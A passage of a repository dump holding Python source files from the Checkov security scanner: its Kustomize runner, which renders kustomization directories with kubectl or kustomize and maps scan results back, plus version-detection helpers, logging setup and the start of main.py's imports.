`Path.resolve()`.\n        For example, running `Path('/var/example.txt').resolve` might result in `/<not-existent-dir>/var/example.txt`.\n        The purpose of this function is to remove any unintentional additions like this one.\n        \"\"\"\n        resolved_path_parts = resolved_path.split(prefix)\n        if len(resolved_path_parts) > 1:\n            resolved_path = f'{prefix}{\"\".join(resolved_path_parts[1:])}'\n        else:\n            resolved_path = f'{prefix}{\"\".join(resolved_path_parts)}'\n        return resolved_path\n\n    def _get_caller_line_range(self, root_folder: str, k8_file: str, origin_relative_path: str,\n                               resource_id: str, caller_resource_id: str) -> tuple[int, int] | None:\n        raw_caller_directory = (pathlib.Path(k8_file.lstrip(os.path.sep)).parent /\n                                pathlib.Path(origin_relative_path.lstrip(os.path.sep)).parent)\n        caller_directory = str(pathlib.Path(f'{os.path.sep}{raw_caller_directory}').resolve())\n        caller_directory = K8sKustomizeRunner._remove_extra_path_parts(caller_directory, root_folder)\n        file_ending = pathlib.Path(origin_relative_path).suffix\n        caller_file_path = f'{str(pathlib.Path(caller_directory) / caller_resource_id.replace(\".\", \"-\"))}{file_ending}'\n\n        if caller_file_path not in self.definitions:\n            return None\n\n        caller_resource = None\n        for resource in self.definitions[caller_file_path]:\n            _resource_id = get_resource_id(resource)\n            if _resource_id == resource_id:\n                caller_resource = resource\n                break\n\n        if caller_resource is None:\n            return None\n\n        if caller_file_path not in self.definitions_raw:\n            # As we cannot calculate better lines with the `calculate_code_lines` without the raw code,\n            # we can use the existing info in the resource\n            return caller_resource[START_LINE], caller_resource[END_LINE]\n\n        raw_caller_resource = self.definitions_raw[caller_file_path]\n\n        caller_raw_start_line = caller_resource[START_LINE]\n        caller_raw_end_line = min(caller_resource[END_LINE], len(raw_caller_resource))\n\n        _, caller_start_line, caller_end_line = calculate_code_lines(raw_caller_resource, caller_raw_start_line,\n                                                                     caller_raw_end_line)\n        return caller_start_line, caller_end_line\n\n    def line_range(self, code_lines: list[tuple[int, str]]) -> list[int]:\n        num_of_lines = len(code_lines)\n        file_line_range = [0, 0]\n        if num_of_lines > 0:\n            first_line, code = code_lines[0]\n            last_line, code = code_lines[num_of_lines - 1]\n            file_line_range = [first_line, last_line]\n        return file_line_range\n\n    def mutate_kubernetes_graph_results(\n        self, root_folder: str | None, runner_filter: RunnerFilter, report: Report, checks_results: dict[BaseGraphCheck, list[_CheckResult]]\n    ) -> Report:\n        # Moves report generation logic out of run() method in Runner class.\n        # Allows function overriding of a much smaller function than run() for other \"child\" frameworks such as Kustomize, Helm\n        # Where Kubernetes CHECKS are needed, but the specific file references are to another framework for the user output (or a mix of both).\n        if not self.context:\n            if self.context is None:\n                # this shouldn't happen\n                logging.error(\"Context for Kustomize runner was not set\")\n            return report\n\n        kustomize_metadata = self.report_mutator_data['kustomizeMetadata'],\n        kustomize_file_mappings = self.report_mutator_data['kustomizeFileMappings']\n\n        for check, check_results in checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                entity_file_path: str = entity[CustomAttributes.FILE_PATH]\n                entity_file_abs_path: str = _get_entity_abs_path(root_folder, entity_file_path)\n                entity_id: str = entity[CustomAttributes.ID]\n                entity_context = super().get_entity_context(entity=entity, entity_file_path=entity_file_path)\n\n                if entity_file_abs_path in kustomize_file_mappings:\n                    realKustomizeEnvMetadata = kustomize_metadata[0][kustomize_file_mappings[entity_file_abs_path]]\n                    if 'overlay' in realKustomizeEnvMetadata[\"type\"]:\n                        kustomizeResourceID = f'{realKustomizeEnvMetadata[\"type\"]}:{str(realKustomizeEnvMetadata[\"overlay_name\"])}:{entity_id}'\n                    else:\n                        kustomizeResourceID = f'{realKustomizeEnvMetadata[\"type\"]}:{entity_id}'\n                else:\n                    logging.warning(f\"couldn't find {entity_file_abs_path} path in kustomizeFileMappings\")\n                    continue\n\n                caller_file_path = None\n                caller_file_line_range = None\n                if self.checkov_allow_kustomize_file_edits:\n                    caller_resource_id = entity_id\n                    if PARENT_RESOURCE_ID_KEY_NAME in entity:\n                        caller_resource_id = entity[PARENT_RESOURCE_ID_KEY_NAME]\n                    caller_file_line_range, caller_file_path = self._get_caller_file_info(entity_context,\n                                                                                          entity_file_path,\n                                                                                          entity_file_path,\n                                                                                          entity_id,\n                                                                                          caller_resource_id,\n                                                                                          root_folder)\n                code_lines = entity_context[\"code_lines\"]\n                file_line_range = self.line_range(code_lines)\n\n                clean_check_result = create_check_result(check_result=check_result, entity_context=entity_context, check_id=check.id)\n\n                record = Record(\n                    check_id=check.id,\n                    check_name=check.name,\n                    check_result=clean_check_result,\n                    code_block=code_lines,\n                    file_path=realKustomizeEnvMetadata['filePath'],\n                    file_line_range=file_line_range,\n                    caller_file_path=caller_file_path,\n                    caller_file_line_range=caller_file_line_range,\n                    resource=kustomizeResourceID,  # entity.get(CustomAttributes.ID),\n                    evaluations={},\n                    check_class=check.__class__.__module__,\n                    file_abs_path=entity_file_abs_path,\n                    severity=check.severity\n                )\n                record.set_guideline(check.guideline)\n                report.add_record(record=record)\n\n        return report\n\n    def get_image_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report | None:\n        if not self.graph_manager:\n            return None\n        return self.check_container_image_references(\n            graph_connector=self.graph_manager.get_reader_endpoint(),\n            root_path=self.original_root_dir,\n            runner_filter=runner_filter,\n        )\n\n    def extract_images(\n            self,\n            graph_connector: DiGraph | None = None,\n            definitions: None = None,\n            definitions_raw: dict[str, list[tuple[int, str]]] | None = None\n    ) -> list[Image]:\n        if not graph_connector:\n            # should not happen\n            return []\n\n        manager = KustomizeImageReferencerManager(graph_connector=graph_connector, report_mutator_data=self.report_mutator_data)\n        images = manager.extract_images_from_resources()\n\n        return images\n\n\nclass Runner(BaseRunner[_KubernetesDefinitions, _KubernetesContext, \"KubernetesGraphManager\"]):\n    kustomize_command = 'kustomize'  # noqa: CCE003  # a static attribute\n    kubectl_command = 'kubectl'  # noqa: CCE003  # a static attribute\n    check_type = CheckType.KUSTOMIZE  # noqa: CCE003  # a static attribute\n    system_deps = True  # noqa: CCE003  # a static attribute\n    kustomizeSupportedFileTypes = ('kustomization.yaml', 'kustomization.yml')  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        super().__init__(file_names=Runner.kustomizeSupportedFileTypes)\n        self.potentialBases: \"list[str]\" = []\n        self.potentialOverlays: \"list[str]\" = []\n        self.kustomizeProcessedFolderAndMeta: \"dict[str, dict[str, str]]\" = {}\n        self.kustomizeFileMappings: \"dict[str, str]\" = {}\n        self.templateRendererCommand: str | None = None\n        self.target_folder_path = ''\n\n        self.checkov_allow_kustomize_file_edits = convert_str_to_bool(os.getenv(\"CHECKOV_ALLOW_KUSTOMIZE_FILE_EDITS\",\n                                                                                False))\n\n    def get_k8s_target_folder_path(self) -> str:\n        return self.target_folder_path\n\n    def get_kustomize_metadata(self) -> dict[str, dict[str, Any]]:\n        return {'kustomizeMetadata': self.kustomizeProcessedFolderAndMeta,\n                'kustomizeFileMappings': self.kustomizeFileMappings}\n\n    def _parseKustomization(self, kustomize_dir: str) -> dict[str, Any]:\n        # We may have multiple results for \"kustomization.yaml\" files. These could be:\n        # - Base and Environment (overlay) DIR's for the same kustomize-powered deployment\n        # - OR, Multiple different Kustomize-powered deployments\n        # - OR, a mixture of the two.\n        # We need parse some of the Kustomization.yaml files to work out which\n        # This is so we can provide \"Environment\" information back to the user as part of the checked resource name/description.\n        # TODO: We could also add a --kustomize-environment option so we only scan certain overlay names (prod, test etc) useful in CI.\n        yaml_path = os.path.join(kustomize_dir, \"kustomization.yaml\")\n        yml_path = os.path.join(kustomize_dir, \"kustomization.yml\")\n        if os.path.isfile(yml_path):\n            kustomization_path = yml_path\n        elif os.path.isfile(yaml_path):\n            kustomization_path = yaml_path\n        else:\n            return {}\n\n        with open(kustomization_path, 'r') as kustomization_file:\n            metadata: dict[str, Any] = {}\n            try:\n                file_content = yaml.safe_load(kustomization_file)\n            except yaml.YAMLError:\n                logging.info(f\"Failed to load Kustomize metadata from {kustomization_path}.\", exc_info=True)\n                return {}\n\n            if not isinstance(file_content, dict):\n                return {}\n\n            if 'resources' in file_content and file_content['resources'] is not None:\n                resources = file_content['resources']\n\n                # We can differentiate between \"overlays\" and \"bases\" based on if the `resources` refers to a directory,\n                # which represents an \"overlay\", or only files which represents a \"base\"\n                resources_representing_directories = [r for r in resources if pathlib.Path(r).suffix == '']\n                if resources_representing_directories:\n                    logging.debug(\n                        f\"Kustomization contains resources: section with directories. Likely an overlay/env.\"\n                        f\" {kustomization_path}\")\n                    metadata['type'] = \"overlay\"\n                    metadata['referenced_bases'] = resources_representing_directories\n                else:\n                    logging.debug(f\"Kustomization contains resources: section with only files (no dirs). Likely a base.\"\n                                  f\" {kustomization_path}\")\n                    metadata['type'] = \"base\"\n\n            elif 'patchesStrategicMerge' in file_content:\n                logging.debug(f\"Kustomization contains patchesStrategicMerge: section. Likely an overlay/env. {kustomization_path}\")\n                metadata['type'] = \"overlay\"\n                if 'bases' in file_content:\n                    metadata['referenced_bases'] = file_content['bases']\n\n            elif 'bases' in file_content:\n                logging.debug(f\"Kustomization contains bases: section. Likely an overlay/env. {kustomization_path}\")\n                metadata['type'] = \"overlay\"\n                metadata['referenced_bases'] = file_content['bases']\n\n            metadata['fileContent'] = file_content\n            metadata['filePath'] = f\"{kustomization_path}\"\n            if metadata.get('type') == \"base\":\n                self.potentialBases.append(metadata['filePath'])\n\n            if metadata.get('type') == \"overlay\":\n                self.potentialOverlays.append(metadata['filePath'])\n\n        return metadata\n\n    def check_system_deps(self) -> str | None:\n        # Ensure local system dependencies are available and of the correct version.\n        # Returns framework names to skip if deps **fail** (ie, return None for a successful deps check).\n        logging.info(f\"Checking necessary system dependencies for {self.check_type} checks.\")\n\n        if shutil.which(self.kubectl_command) is not None:\n            kubectl_version = get_kubectl_version(kubectl_command=self.kubectl_command)\n            if kubectl_version and kubectl_version >= 1.14:\n                logging.info(f\"Found working version of {self.check_type} dependency {self.kubectl_command}: {kubectl_version}\")\n                self.templateRendererCommand = self.kubectl_command\n                return None\n            else:\n                return self.check_type\n        elif shutil.which(self.kustomize_command) is not None:\n            kustomize_version = get_kustomize_version(kustomize_command=self.kustomize_command)\n            if kustomize_version:\n                logging.info(\n                    f\"Found working version of {self.check_type} dependency {self.kustomize_command}: {kustomize_version}\"\n                )\n                self.templateRendererCommand = self.kustomize_command\n                return None\n            else:\n                return self.check_type\n        else:\n            logging.info(f\"Could not find usable tools locally to process {self.check_type} checks. Framework will be disabled for this run.\")\n            return self.check_type\n\n    def _handle_overlay_case(self, file_path: str,\n                             kustomizeProcessedFolderAndMeta: dict[str, dict[str, Any]] | None = None) -> None:\n        if kustomizeProcessedFolderAndMeta is None:\n            kustomizeProcessedFolderAndMeta = self.kustomizeProcessedFolderAndMeta\n        for parent in pathlib.Path(file_path).parents:\n            for potentialBase in self.potentialBases:\n                pathlib_base_object = pathlib.Path(potentialBase)\n                potential_base_path = pathlib_base_object.parents[1]\n                if parent == potential_base_path.resolve():\n                    kustomizeProcessedFolderAndMeta[file_path]['calculated_bases'] = str(pathlib_base_object.parent)\n        try:\n            relativeToFullPath = f\"{file_path}/{kustomizeProcessedFolderAndMeta[file_path]['referenced_bases'][0]}\"\n            if pathlib.Path(kustomizeProcessedFolderAndMeta[file_path]['calculated_bases']) == pathlib.Path(relativeToFullPath).resolve():\n                kustomizeProcessedFolderAndMeta[file_path]['validated_base'] = str(pathlib.Path(kustomizeProcessedFolderAndMeta[file_path]['calculated_bases']))\n                checkov_kustomize_env_name_by_path = str(pathlib.Path(file_path).relative_to(pathlib.Path(kustomizeProcessedFolderAndMeta[file_path]['calculated_bases']).parent))\n                kustomizeProcessedFolderAndMeta[file_path]['overlay_name'] = checkov_kustomize_env_name_by_path\n                logging.debug(f\"Overlay based on {kustomizeProcessedFolderAndMeta[file_path]['validated_base']}, naming overlay {checkov_kustomize_env_name_by_path} for Checkov Results.\")\n            else:\n                checkov_kustomize_env_name_by_path = pathlib.Path(file_path).stem\n                kustomizeProcessedFolderAndMeta[file_path]['overlay_name'] = checkov_kustomize_env_name_by_path\n                logging.debug(f\"Could not confirm base dir for Kustomize overlay/env. Using {checkov_kustomize_env_name_by_path} for Checkov Results.\")\n\n        except KeyError:\n            checkov_kustomize_env_name_by_path = pathlib.Path(file_path).stem\n            kustomizeProcessedFolderAndMeta[file_path]['overlay_name'] = checkov_kustomize_env_name_by_path\n            logging.debug(f\"Could not confirm base dir for Kustomize overlay/env. Using {checkov_kustomize_env_name_by_path} for Checkov Results.\")\n\n    @staticmethod\n    def _get_parsed_output(\n        file_path: str, extract_dir: str, output: str, shared_kustomize_file_mappings: dict[str, str]\n    ) -> TextIO | None:\n        cur_source_file = None\n        cur_writer = None\n        last_line_dashes = False\n        line_num = 1\n        file_num = 0\n\n        # page-to-file parser from helm framework works well, but we expect the file to start with --- in this case from Kustomize.\n        output = \"---\\n\" + output\n        reader = io.StringIO(output)\n        for s in reader:\n            s = s.rstrip()\n            if s == '---':\n                last_line_dashes = True\n                continue\n\n            if last_line_dashes:\n                # The next line should contain a \"apiVersion\" line for the next Kubernetes manifest\n                # So we will close the old file, open a new file, and write the dashes from last iteration plus this line\n                source = file_num\n                file_num += 1\n                if source != cur_source_file:\n                    if cur_writer:\n                        # Here we are about to close a \"complete\" file. The function will validate it looks like a K8S manifest before continuing.\n                        Runner._curWriterValidateStoreMapAndClose(cur_writer, file_path, shared_kustomize_file_mappings)\n                    parent = os.path.dirname(os.path.join(extract_dir, str(source)))\n                    os.makedirs(parent, exist_ok=True)\n                    cur_source_file = source\n                    cur_writer = open(os.path.join(extract_dir, str(source)), 'a')\n                if cur_writer:\n                    cur_writer.write('---' + os.linesep)\n                    cur_writer.write(s + os.linesep)\n\n                last_line_dashes = False\n            else:\n                if not cur_writer:\n                    continue\n                else:\n                    cur_writer.write(s + os.linesep)\n            line_num += 1\n        return cur_writer\n\n    def _get_kubectl_output(self, filePath: str, template_renderer_command: str, source_type: str | None) -> bytes | None:\n        # Template out the Kustomizations to Kubernetes YAML\n        if template_renderer_command == \"kubectl\":\n            template_render_command_options = \"kustomize\"\n        elif template_renderer_command == \"kustomize\":\n            template_render_command_options = \"build\"\n        else:\n            logging.error(f\"Template renderer command has an invalid value: {template_renderer_command}\")\n            return None\n\n        add_origin_annotations_return_code = None\n\n        if self.checkov_allow_kustomize_file_edits:\n            add_origin_annotations_command = 'kustomize edit add buildmetadata originAnnotations'\n            add_origin_annotations_return_code = subprocess.run(add_origin_annotations_command.split(' '),  # nosec\n                                                                cwd=filePath).returncode\n\n        full_command = f'{template_renderer_command} {template_render_command_options}'\n        proc = subprocess.Popen(full_command.split(' '), cwd=filePath, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  # nosec\n        output, _ = proc.communicate()\n\n        if self.checkov_allow_kustomize_file_edits and add_origin_annotations_return_code == 0:\n            # If the return code is not 0, we didn't add the new buildmetadata field, so we shouldn't remove it\n            remove_origin_annotaions = 'kustomize edit remove buildmetadata originAnnotations'\n            subprocess.run(remove_origin_annotaions.split(' '), cwd=filePath)  # nosec\n\n        logging.info(\n            f\"Ran kubectl to build Kustomize output. DIR: {filePath}. TYPE: {source_type}.\")\n        return output\n\n    @staticmethod\n    def _get_env_or_base_path_prefix(\n        file_path: str, kustomize_processed_folder_and_meta: dict[str, dict[str, Any]]\n    ) -> str | None:\n        env_or_base_path_prefix = None\n        if kustomize_processed_folder_and_meta[file_path].get('type') == \"overlay\":\n            if 'calculated_bases' not in kustomize_processed_folder_and_meta[file_path]:\n                logging.debug(f\"Kustomize: Overlay with unknown base. User may have specified overlay dir directly. {file_path}\")\n                env_or_base_path_prefix = \"\"\n            else:\n                base_path_parts = pathlib.Path(kustomize_processed_folder_and_meta[file_path]['calculated_bases']).parts\n                most_significant_base_path = f\"/{base_path_parts[-3]}/{base_path_parts[-2]}\"\n                env_or_base_path_prefix = f\"{most_significant_base_path}/{kustomize_processed_folder_and_meta[file_path]['overlay_name']}\"\n\n        elif kustomize_processed_folder_and_meta[file_path].get('type') == \"base\":\n            # Validated base last three parents as a path\n            base_path_parts = pathlib.Path(kustomize_processed_folder_and_meta[file_path]['filePath']).parts\n            most_significant_base_path = f\"/{base_path_parts[-4]}/{base_path_parts[-3]}/{base_path_parts[-2]}\"\n            env_or_base_path_prefix = most_significant_base_path\n\n        return env_or_base_path_prefix\n\n    def get_binary_output_from_directory(\n            self,\n            file_path: str,\n            template_renderer_command: str,\n    ) -> tuple[bytes, str] | tuple[None, None]:\n        kustomizeProcessedFolderAndMeta = {file_path: self._parseKustomization(file_path)}\n        if kustomizeProcessedFolderAndMeta[file_path].get('type') == 'overlay':\n            self._handle_overlay_case(file_path, kustomizeProcessedFolderAndMeta)\n        return self.get_binary_output(file_path, kustomizeProcessedFolderAndMeta, template_renderer_command)\n\n    def get_binary_output(\n        self,\n        file_path: str,\n        kustomize_processed_folder_and_meta: dict[str, dict[str, Any]],\n        template_renderer_command: str,\n    ) -> tuple[bytes, str] | tuple[None, None]:\n        source_type = kustomize_processed_folder_and_meta[file_path].get('type')\n        logging.debug(f\"Kustomization at {file_path} likely a {source_type}\")\n        try:\n            output = self._get_kubectl_output(file_path, template_renderer_command, source_type)\n            if output is None:\n                return None, None\n\n            return output, file_path\n        except Exception:\n            logging.warning(f\"Error building Kustomize output at dir: {file_path}.\", exc_info=True)\n            return None, None\n\n    @staticmethod\n    def _parse_output(\n        output: bytes,\n        file_path: str,\n        kustomize_processed_folder_and_meta: dict[str, dict[str, Any]],\n        target_folder_path: str,\n        shared_kustomize_file_mappings: dict[str, str],\n    ) -> None:\n        env_or_base_path_prefix = Runner._get_env_or_base_path_prefix(file_path, kustomize_processed_folder_and_meta)\n        if env_or_base_path_prefix is None:\n            logging.warning(f\"env_or_base_path_prefix is None, filePath: {file_path}\", exc_info=True)\n            return\n\n        extract_dir = target_folder_path + env_or_base_path_prefix\n        os.makedirs(extract_dir, exist_ok=True)\n\n        logging.debug(f\"Kustomize: Temporary directory for {file_path} at {extract_dir}\")\n        output_str = output.decode(\"utf-8\")\n        cur_writer = Runner._get_parsed_output(file_path, extract_dir, output_str, shared_kustomize_file_mappings)\n        if cur_writer:\n            Runner._curWriterValidateStoreMapAndClose(cur_writer, file_path, shared_kustomize_file_mappings)\n\n    def _run_kustomize_parser(\n        self,\n        file_path: str,\n        shared_kustomize_file_mappings: dict[str, str],\n        kustomize_processed_folder_and_meta: dict[str, dict[str, Any]],\n        template_renderer_command: str,\n        target_folder_path: str,\n    ) -> None:\n        output, _ = self.get_binary_output(file_path, kustomize_processed_folder_and_meta, template_renderer_command)\n        if not output:\n            return\n        Runner._parse_output(output, file_path, kustomize_processed_folder_and_meta, target_folder_path, shared_kustomize_file_mappings)\n\n    def run_kustomize_to_k8s(\n        self, root_folder: str | None, files: list[str] | None, runner_filter: RunnerFilter\n    ) -> None:\n        kustomize_dirs = find_kustomize_directories(root_folder, files, runner_filter.excluded_paths)\n        if not kustomize_dirs:\n            # nothing to process\n            return\n\n        for kustomize_dir in kustomize_dirs:\n            self.kustomizeProcessedFolderAndMeta[kustomize_dir] = self._parseKustomization(kustomize_dir)\n        self.target_folder_path = tempfile.mkdtemp()\n        for file_path in self.kustomizeProcessedFolderAndMeta:\n            if self.kustomizeProcessedFolderAndMeta[file_path].get('type') == 'overlay':\n                self._handle_overlay_case(file_path)\n\n        if platform.system() == 'Windows':\n            if not self.templateRendererCommand:\n                logging.error(\"The 'templateRendererCommand' was not set correctly\")\n                return\n\n            shared_kustomize_file_mappings: dict[str, str] = {}\n            for file_path in self.kustomizeProcessedFolderAndMeta:\n                self._run_kustomize_parser(\n                    file_path=file_path,\n                    shared_kustomize_file_mappings=shared_kustomize_file_mappings,\n                    kustomize_processed_folder_and_meta=self.kustomizeProcessedFolderAndMeta,\n                    template_renderer_command=self.templateRendererCommand,\n                    target_folder_path=self.target_folder_path,\n                )\n            self.kustomizeFileMappings = shared_kustomize_file_mappings\n            return\n\n        manager = multiprocessing.Manager()\n        # make sure we have new dict\n        shared_kustomize_file_mappings = pickle_deepcopy(manager.dict())  # type:ignore[arg-type]  # works with DictProxy\n        shared_kustomize_file_mappings.clear()\n\n        items = [\n            (\n                filePath,\n                shared_kustomize_file_mappings,\n                self.kustomizeProcessedFolderAndMeta,\n                self.templateRendererCommand,\n                self.target_folder_path,\n            )\n            for filePath in self.kustomizeProcessedFolderAndMeta\n        ]\n        list(parallel_runner.run_function(self._run_kustomize_parser, items))\n\n        self.kustomizeFileMappings = dict(shared_kustomize_file_mappings)\n\n    def run(\n        self,\n        root_folder: str | None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        self.run_kustomize_to_k8s(root_folder, files, runner_filter)\n        report: \"Report | list[Report]\" = Report(self.check_type)\n\n        if not self.kustomizeProcessedFolderAndMeta:\n            # nothing to process\n            return report\n\n        target_dir = \"\"\n        try:\n            k8s_runner = K8sKustomizeRunner()\n            # k8s_runner.run() will kick off both CKV_ and CKV2_ checks and return a merged results object.\n            target_dir = self.get_k8s_target_folder_path()\n            k8s_runner.report_mutator_data = self.get_kustomize_metadata()\n            if root_folder:\n                k8s_runner.original_root_dir = root_folder\n\n            # the returned report can be a list of reports, which also includes an SCA image report\n            report = k8s_runner.run(target_dir, external_checks_dir=external_checks_dir, runner_filter=runner_filter)\n            self.graph_manager = k8s_runner.graph_manager\n            logging.debug(f\"Successfully ran k8s scan on Kustomization templated files in tmp scan dir : {target_dir}\")\n\n            shutil.rmtree(target_dir)\n\n        except Exception:\n            logging.warning(\"Failed to run Kubernetes runner\", exc_info=True)\n            with tempfile.TemporaryDirectory() as save_error_dir:\n                logging.debug(\n                    f\"Error running k8s scan on Scan dir: {target_dir}. Saved context dir: {save_error_dir}\")\n                shutil.move(target_dir, save_error_dir)\n\n        return report\n\n    @staticmethod\n    def _curWriterValidateStoreMapAndClose(\n        cur_writer: TextIO, file_path: str, shared_kustomize_file_mappings: dict[str, str]\n    ) -> None:\n        currentFileName = cur_writer.name\n        cur_writer.close()\n        # Now we have a complete k8s manifest as we closed the writer, and it's temporary file name (currentFileName) plus the original file templated out (FilePath)\n        # Rename them to useful information from the K8S metadata before conting.\n        # Then keep a mapping of template files to original kustomize repo locations for use with Checkov output later.\n        try:\n            with open(currentFileName) as f:\n                currentYamlObject = yaml.safe_load(f)\n                # Validate we have a K8S manifest\n\n                if \"apiVersion\" in currentYamlObject:\n                    itemName = []\n                    itemName.append(currentYamlObject['kind'])\n                    if 'namespace' in currentYamlObject['metadata']:\n                        itemName.append(currentYamlObject['metadata']['namespace'])\n                    else:\n                        itemName.append(\"default\")\n                    if 'name' in currentYamlObject['metadata']:\n                        itemName.append(currentYamlObject['metadata']['name'])\n                    else:\n                        itemName.append(\"noname\")\n\n                    filename = f\"{'-'.join(itemName)}.yaml\"\n                    newFullPathFilename = str(pathlib.Path(currentFileName).parent / filename)\n                    os.rename(currentFileName, newFullPathFilename)\n                    shared_kustomize_file_mappings[newFullPathFilename] = file_path\n                else:\n                    raise Exception(f'Not a valid Kubernetes manifest (no apiVersion) while parsing Kustomize template: {file_path}. Templated output: {currentFileName}.')\n        except IsADirectoryError:\n            pass\n\n\ndef find_kustomize_directories(\n    root_folder: str | None, files: list[str] | None, excluded_paths: list[str]\n) -> list[str]:\n    kustomize_directories = []\n    if not excluded_paths:\n        excluded_paths = []\n    if files:\n        logging.info('Running with --file argument; file must be a kustomization.yaml file')\n        for file in files:\n            if os.path.basename(file) in Runner.kustomizeSupportedFileTypes:\n                kustomize_directories.append(os.path.dirname(file))\n\n    if root_folder:\n        for root, d_names, f_names in os.walk(root_folder):\n            filter_ignored_paths(root, d_names, excluded_paths)\n            filter_ignored_paths(root, f_names, excluded_paths)\n            kustomize_directories.extend(\n                os.path.abspath(root) for x in f_names if x in Runner.kustomizeSupportedFileTypes\n            )\n\n    return kustomize_directories\n"
  },
  {
    "path": "checkov/kustomize/utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport subprocess  # nosec\n\n\ndef get_kustomize_version(kustomize_command: str) -> str | None:\n    try:\n        proc = subprocess.run([kustomize_command, \"version\"], capture_output=True)  # nosec\n        version_output = proc.stdout.decode(\"utf-8\")\n\n        if \"Version:\" in version_output:\n            # version <= 4 output looks like '{Version:kustomize/v4.5.7 GitCommit:...}\\n'\n            kustomize_version = version_output[version_output.find(\"/\") + 1 : version_output.find(\"G\") - 1]\n        elif version_output.startswith(\"v\"):\n            # version >= 5 output looks like 'v5.0.0\\n'\n            kustomize_version = version_output.rstrip(\"\\n\")\n        else:\n            return None\n\n        return kustomize_version\n    except Exception:\n        logging.debug(f\"An error occurred testing the {kustomize_command} command:\", exc_info=True)\n\n    return None\n\n\ndef get_kubectl_version(kubectl_command: str) -> float | None:\n    try:\n        proc = subprocess.run([kubectl_command, \"version\", \"--client=true\"], capture_output=True)  # nosec\n        version_output = proc.stdout.decode(\"utf-8\")\n\n        if \"Client Version:\" in version_output:\n            if \"Major:\" in version_output and \"Minor:\" in version_output:\n                # version <= 1.27 output looks like 'Client Version: version.Info{Major:\"1\", Minor:\"27\", GitVersion:...}\\n...'\n                kubectl_version_major = version_output.split(\"\\n\")[0].split('Major:\"')[1].split('\"')[0]\n                kubectl_version_minor = version_output.split(\"\\n\")[0].split('Minor:\"')[1].split('\"')[0]\n            else:\n                # version >= 1.28 output looks like 'Client Version: v1.28.0\\n...'\n                kubectl_version_str = version_output.split(\"\\n\")[0].replace(\"Client Version: v\", \"\")\n                kubectl_version_major, kubectl_version_minor, *_ = kubectl_version_str.split(\".\")\n            kubectl_version = float(f\"{kubectl_version_major}.{kubectl_version_minor}\")\n\n            return kubectl_version\n    except Exception:\n        logging.debug(f\"An error occurred testing the {kubectl_command} command:\", exc_info=True)\n\n    return None\n"
  },
  {
    "path": "checkov/logging_init.py",
    "content": "import logging\nimport os\nfrom io import StringIO\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nLOG_LEVEL = os.getenv('LOG_LEVEL', 'WARNING').upper()\nlogging.basicConfig(level=LOG_LEVEL)\nlog_formatter = logging.Formatter(\"%(asctime)s [%(threadName)-12.12s] [%(levelname)-5.5s]  %(message)s\")\nroot_logger = logging.getLogger()\nadd_resource_code_filter_to_logger(root_logger)\nstream_handler = root_logger.handlers[0]\nstream_handler.setFormatter(log_formatter)\nstream_handler.setLevel(LOG_LEVEL)\nroot_logger.setLevel(logging.DEBUG)\nlogging.getLogger().setLevel(logging.DEBUG)\nlogging.getLogger(\"urllib3\").setLevel(logging.ERROR)\nlogging.getLogger(\"urllib3.connectionpool\").setLevel(logging.ERROR)\nlogging.getLogger(\"urllib3.connectionpool\").propagate = False\nlogging.getLogger(\"urllib3\").propagate = False\nlog_stream = StringIO()\nstream_handler = logging.StreamHandler(stream=log_stream)\nstream_handler.setFormatter(log_formatter)\nstream_handler.setLevel(logging.DEBUG)\nroot_logger.addHandler(stream_handler)\n\n\ndef erase_log_stream() -> None:\n    log_stream.seek(0)\n    log_stream.truncate(0)\n"
  },
  {
    "path": "checkov/main.py",
    "content": "#!/usr/bin/env python\nfrom __future__ import annotations\n\nimport atexit\nimport itertools\nimport json\nimport logging\nimport os\nimport platform\nimport shutil\nimport signal\nimport sys\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any, Dict, Literal, Optional, List, Set\n\nimport argcomplete\nimport configargparse\nfrom urllib3.exceptions import MaxRetryError\n\nimport checkov.logging_init  # noqa  # should be imported before the others to ensure correct logging setup\nfrom checkov.ansible.runner import Runner as ansible_runner\nfrom checkov.argo_workflows.runner import Runner as argo_workflows_runner\nfrom checkov.arm.runner import Runner as arm_runner\nfrom checkov.azure_pipelines.runner import Runner as azure_pipelines_runner\nfrom checkov.bicep.runner import Runner as bicep_runner\nfrom checkov.bitbucket.runner import Runner as bitbucket_configuration_runner\nfrom checkov.bitbucket_pipelines.runner import Runner as bitbucket_pipelines_runner\nfrom checkov.cdk.runner import CdkRunner\nfrom checkov.circleci_pipelines.runner import Runner as circleci_pipelines_runner\nfrom checkov.cloudformation.runner import Runner as cfn_runner\nfrom checkov.common.bridgecrew.bc_source import SourceTypes, BCSourceType, get_source_type, SourceType\nfrom checkov.common.bridgecrew.check_type import checkov_runners, CheckType\nfrom checkov.common.bridgecrew.platform_errors import ModuleNotEnabledError, PlatformConnectionError\nfrom checkov.common.bridgecrew.integration_features.features.custom_policies_integration import \\\n    integration as custom_policies_integration\nfrom checkov.common.bridgecrew.integration_features.features.licensing_integration import \\\n    integration as licensing_integration\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \\\n    integration as policy_metadata_integration\nfrom checkov.common.bridgecrew.integration_features.features.repo_config_integration import \\\n    integration as repo_config_integration\nfrom checkov.common.bridgecrew.integration_features.features.suppressions_integration import \\\n    integration as suppressions_integration\nfrom checkov.common.bridgecrew.integration_features.integration_feature_registry import integration_feature_registry\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.severities import BcSeverities\nfrom checkov.common.goget.github.get_git import GitGetter\nfrom checkov.common.logger_streams import logger_streams\nfrom checkov.common.output.baseline import Baseline\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.common.sast.consts import SastLanguages\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.common.util import prompt\nfrom checkov.common.util.banner import banner as checkov_banner, default_tool as default_tool\nfrom 